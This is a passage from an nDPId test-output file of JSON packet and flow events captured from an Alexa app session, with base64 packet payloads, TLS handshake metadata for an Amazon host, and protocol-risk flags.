D6A1ELGuKCgsDG0sDjs7DfGehiM5mMUYyPrFl8Kizhp\/L18pLpiPIfyO+VtTA2+SsK2H+Z3dnRDbOaKh7HlSn0YC1n\/XaVppTk7lyMVNzLDlE166xJbHHzPE\/yfE6VacQf1zmPQs1esbg9FvHQEDHrxXhskXFlH+DQfYyZVw1ueKwqRbB8o5VytLf0vdCVBn0fPSdwymCy5qUZ15EyQ1FQxrozzxuO7t6hKs89nDc3js7WmKhgTfVq8NQNesV5L7+aVSi1ZrDZJUQfnMaJgB6Ny2\/V6X6iMU14OU7Q8ghzZVvcb24yrWJzXVA"} +00424{"flow_id":79,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1185,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976084,"pkt_ts_usec":110862,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoXwhAANsGGjY27xi6rBAq2AG7hQU1exKJG5LIUlAQAVjVQQAAAAAAAAAA"} +00424{"flow_id":79,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1186,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976084,"pkt_ts_usec":111011,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoXwlAANsGGjU27xi6rBAq2AG7hQU1exKJG5LSQVAQAbTK9gAAAAAAAAAA"} +00415{"flow_id":80,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1190,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976084,"pkt_ts_usec":801221,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoNvZAAEAG3UisECrYNu8YuoUGAbttlGhNlJUjwlARAVdy8AAA"} +00423{"flow_id":80,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1192,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976084,"pkt_ts_usec":869056,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAom55AANsG3Z827xi6rBAq2AG7hQaUlSPCbZRoTlARARxzKgAAAAAAAAAA"} +00415{"flow_id":80,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1194,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976084,"pkt_ts_usec":873178,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoNvdAAEAG3UesECrYNu8YuoUGAbttlGhOlJUjw1AQAVdy7wAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1195,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1490976085644,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45703,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1195,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":644885,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8I8hAAEAGIyesECrYNF7ohrKHAbtpd3wLAAAAAKAC\/\/9ZswAAAgQFtAQCCAoA9l\/DAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1196,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1490976085829,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45704,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":829927,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8qZ1AAEAGnVGsECrYNF7ohrKIAbvGQPZJAAAAAKAC\/\/+CmQAAAgQFtAQCCAoA9l\/UAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1197,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1490976085832,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45705,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1197,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":832410,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8k2FAAEAGs42sECrYNF7ohrKJAbv5cMy2AAAAAKAC\/\/94+AAAAgQFtAQCCAoA9l\/XAAAAAAEDAwg="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1198,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1490976085883,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"10.201.126.241","src_port":40242,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1198,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":883325,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8m\/VAAEAGPiSsECrYCsl+8Z0yH5CNbMQpAAAAAKAC\/\/94MQAAAgQFtAQCCAoA9l\/cAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1199,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1490976085884,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45707,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1199,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":884523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA83c5AAEAGaSCsECrYNF7ohrKLAbvdeYISAAAAAKAC\/\/\/fjAAAAgQFtAQCCAoA9l\/cAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1200,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1490976085891,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"192.168.11.1","src_port":38434,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1200,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":891455,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8K1lAAEAGbNGsECrYwKgLAZYiH5Cn8nSEAAAAAKAC\/\/9ycAAAAgQFtAQCCAoA9l\/dAAAAAAEDAwg="} +00428{"flow_id":81,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1201,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":970332,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwHsZAAOcGgTQ0XuiGrBAq2AG7sofzK0GgaXd8DHASH\/6hqwAAAgQFtAEDAwY="} +00428{"flow_id":82,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1202,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":970467,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwdw1AAOcGKO00XuiGrBAq2AG7sojjQR2VxkD2SnASH\/7+lwAAAgQFtAEDAwY="} +00415{"flow_id":81,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1203,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":977753,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoI8lAAEAGIzqsECrYNF7ohrKHAbtpd3wM8ytBoVAQAVfsHAAA"} +00739{"flow_id":81,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1204,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":978060,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXI8pAAEAGIkqsECrYNF7ohrKHAbtpd3wM8ytBoVAYAVdMhgAAFgMBAOoBAADmAwMZTwgAvEIt2Qb5o7X9W24vk2EndyOWpP4UOltDjjzDCyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgGhrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9CgoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACEpKAB0AFwAYGhoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1204,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":81,"flow_packet_id":4,"flow_first_seen":1490976085644,"flow_last_seen":1490976085978,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45703,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00415{"flow_id":82,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1205,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":978202,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoqZ5AAEAGnWSsECrYNF7ohrKIAbvGQPZK40EdllAQAVdJCQAA"} +00740{"flow_id":82,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1206,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":978330,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXqZ9AAEAGnHSsECrYNF7ohrKIAbvGQPZK40EdllAYAVchAgAAFgMBAOoBAADmAwM0H8Xsbj55clduvHcNurVJrQGc\/Pqbv8v55WlkE30hCyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgOjrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9ysoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACBoaAB0AFwAY6uoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1206,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":82,"flow_packet_id":4,"flow_first_seen":1490976085829,"flow_last_seen":1490976085978,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45704,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00424{"flow_id":86,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1207,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976085,"pkt_ts_usec":978559,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFEAAoAABAAD0Gmy7AqAsBrBAq2B+QliIAAAAAp\/J0hVAUAAA7FAAAAAAAAAAA"} +00536{"flow_id":81,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1208,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":218051,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9HHlAAOcGgzQ0XuiGrBAq2AG7sofzK0GhaXd8+1AYf\/gWvgAAFgMBAEoCAABGAwFY3n1WmU2DpWAHVrvTcVkefcqPXG\/VUu7kD2bqD9s6GyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1208,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":81,"flow_packet_id":5,"flow_first_seen":1490976085644,"flow_last_seen":1490976086218,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45703,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":81,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1209,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":218236,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdHI5AAOcGgz80XuiGrBAq2AG7sofzK0H2aXd8+1AYf\/iZYQAAFgMBADBumwbswz78F38KYUA1LReV72sE4fP2hoAfRqbMRoILN4Gitrad3ELxUnZammcSf8U="} +00428{"flow_id":83,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1210,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":218291,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwSbFAAOcGVkk0XuiGrBAq2AG7soktOgAj+XDMt3ASH\/7IcwAAAgQFtAEDAwY="} +00428{"flow_id":85,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1211,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":218325,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwHTJAAOcGgsg0XuiGrBAq2AG7sosHecze3XmCE3ASH\/6IEgAAAgQFtAEDAwY="} +00537{"flow_id":82,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1212,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":218384,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9fsNAAOcGIOo0XuiGrBAq2AG7sojjQR2WxkD3OVAYf\/it4AAAFgMBAEoCAABGAwFY3n1WO78rfAE+1qPfnKCZXIna9VF+PCVlge\/Xf2\/VpyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1212,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":82,"flow_packet_id":5,"flow_first_seen":1490976085829,"flow_last_seen":1490976086218,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45704,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":82,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1213,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":218416,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdfsdAAOcGIQY0XuiGrBAq2AG7sojjQR3rxkD3OVAYf\/hsXAAAFgMBADAU6xBGcB9xOb6V3MKpQJBHV2d3SRfKZoqC73gwWwdhkCQFO0MhyvP7PGydhK0Rqtw="} +00415{"flow_id":81,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1214,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":219366,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoI8tAAEAGIzisECrYNF7ohrKHAbtpd3z78ytB9lAQAVfq2AAA"} +00415{"flow_id":81,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1215,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":219650,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoI8xAAEAGIzesECrYNF7ohrKHAbtpd3z78ytCK1AQAVfqowAA"} +00415{"flow_id":83,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1216,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":219780,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAok2JAAEAGs6CsECrYNF7ohrKJAbv5cMy3LToAJFAQAVcS5QAA"} +00499{"flow_id":81,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1217,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":219907,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjI81AAEAGIvusECrYNF7ohrKHAbtpd3z78ytCK1AYAVe6lgAAFAMBAAEBFgMBADDO9o2A+9aXLOZdWIejSS\/Mc1S\/PHFhIxDxFFON1a8BQneuneZqYSgKR+odZcOcDdk="} +00415{"flow_id":85,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":220054,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo3c9AAEAGaTOsECrYNF7ohrKLAbvdeYITB3nM31AQAVfSgwAA"} +00415{"flow_id":82,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1219,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":220204,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoqaBAAEAGnWKsECrYNF7ohrKIAbvGQPc540Ed61AQAVdHxQAA"} +00415{"flow_id":82,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":224271,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoqaFAAEAGnWGsECrYNF7ohrKIAbvGQPc540EeIFAQAVdHkAAA"} +00498{"flow_id":82,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1221,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":232839,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjqaJAAEAGnSWsECrYNF7ohrKIAbvGQPc540EeIFAYAVce7wAAFAMBAAEBFgMBADAPoa1ts7infxbjjfR8emR0iLKgkDJxMknN5jT+3Oj94JqiGw+Ghid4vvtV\/qImMkA="} +02404{"flow_id":81,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1222,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":243714,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcI85AAEAGHYGsECrYNF7ohrKHAbtpd3028ytCK1AQAVd30wAAFwMBACDC3oZMQUAJFgqGImspI1JgtrGV6qISEQQUVDep5Vk+vRcDAQYQYllnwQyirRprtYc9cOh8x9DubIPAPLA97P4FaBxXM9a5nTxsalhAr5mmsG7RJ6QzUWg6VCC9dl5QH07l8f0lYbDRY68y4mPr8pOMG1HElmcdsGCffFnaOrMfQmczl6Vj36uA+eOm5wTeWDfDlVjSZwvvdnk9bUuS5ZcsAtUUKweSIUK+wISvKQNvshjEizpklB1qh33RMSK40t5dH06V1G4TZ+vecYlTq1FvhIO5FNVWozd6cNqokRv4jYJcQkl1BlTHqSA+HB7gw6nvsUxFmZAUX\/9cbluWuK\/6\/Sx6YTDoZyRv\/VwrnrWxp2sPZ6sgkZ4I3dubm5T9AqOezB3t+mkK74ubZtVCyvzIkYnIWrmM8a\/BoMXkLdSlJIW31xZFLpHmWE3payuOp0SS0JUEPCvdXJbWcJ1IQ8vqr\/G4GdBIaZY668glsQn6TvBtM4kalZc9qHsKTQbFnh8IFBB7eKvLuSn6xs2kpb14zysIZcds7TRzw4xYtfoYTo23c5OYGGSNBoCfthyc0WY8ZN6qrVoR2Zjw6l4nBKRkKJvfSHe9+CGsHFJCvdpgnUwhGFjOxDmVf4yzCmlZTzbx0UEUjd54bHp5V0XRMR5tQCKcy5dWF4wCGgKbeDyBKT+UTjedMxvOF6C\/x1\/vrdiAM3UImrugM9eN329VOTTTnBtwMzL9hcv3XWrZ0lUDb0quQ8w4qmKMsVxXgL0zwfCjvJXyabikYnx+1kYeL\/5whPk8Dcu84XHEwaB5E1te7WADv+djq6\/0uIwOtusprwavsoLjx3rU\/A5Q1\/Gh6FdUU6NKu87\/JMLvs5rljFH6equlke4l6A